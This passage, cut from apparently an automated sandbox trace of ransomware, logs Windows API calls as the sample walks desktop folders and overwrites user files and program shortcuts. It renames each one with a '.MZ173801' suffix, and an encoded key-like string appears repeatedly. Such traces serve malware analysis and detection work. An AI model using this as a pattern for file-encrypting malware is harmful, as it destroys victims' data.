dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0145.193] WriteFile (in: hFile=0x2ac, lpBuffer=0x7348a0*, nNumberOfBytesToWrite=0x17681, lpNumberOfBytesWritten=0x18f138, lpOverlapped=0x0 | out: lpBuffer=0x7348a0*, lpNumberOfBytesWritten=0x18f138*=0x17681, lpOverlapped=0x0) returned 1 [0145.196] CloseHandle (hObject=0x2ac) returned 1 [0145.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\sH-vD-yiiJWK0oHfML.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\sh-vd-yiijwk0ohfml.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\sH-vD-yiiJWK0oHfML.jpg.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\sh-vd-yiijwk0ohfml.jpg.mz173801")) returned 1 [0145.198] FindClose (in: hFindFile=0x2fc740 | out: hFindFile=0x2fc740) returned 1 [0145.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\*.*", lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62e83bc0, ftCreationTime.dwHighDateTime=0x1d5e5f6, ftLastAccessTime.dwLowDateTime=0xa75ab920, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa75ab920, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc740 [0145.198] FindClose (in: hFindFile=0x2fc740 | out: hFindFile=0x2fc740) returned 1 [0145.198] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0145.198] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0145.198] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0145.199] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1 [0145.201] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop" (normalized: "c:\\users\\public\\desktop")) returned 0x13 [0145.201] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1 [0145.201] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x25bae6f2, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0145.201] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x7e9)) returned 1 [0145.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.206] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0145.207] ReadFile (in: hFile=0x29c, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x7e9, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x7e9, lpOverlapped=0x0) returned 1 [0145.208] CloseHandle (hObject=0x29c) returned 1 [0145.208] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0145.210] WriteFile (in: hFile=0x29c, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x7e9, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x7e9, lpOverlapped=0x0) returned 1 [0145.211] CloseHandle (hObject=0x29c) returned 1 [0145.211] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Adobe Reader X.lnk.MZ173801" (normalized: "c:\\users\\public\\desktop\\adobe reader x.lnk.mz173801")) returned 1 [0145.213] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8d1)) returned 1 [0145.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.218] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0145.218] ReadFile (in: hFile=0x29c, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x8d1, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x8d1, lpOverlapped=0x0) returned 1 [0145.219] CloseHandle (hObject=0x29c) returned 1 [0145.219] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0145.221] WriteFile (in: hFile=0x29c, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x8d1, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x8d1, lpOverlapped=0x0) returned 1 [0145.222] CloseHandle (hObject=0x29c) returned 1 [0145.223] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk.MZ173801" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk.mz173801")) returned 1 [0145.224] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485)) returned 1 [0145.226] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 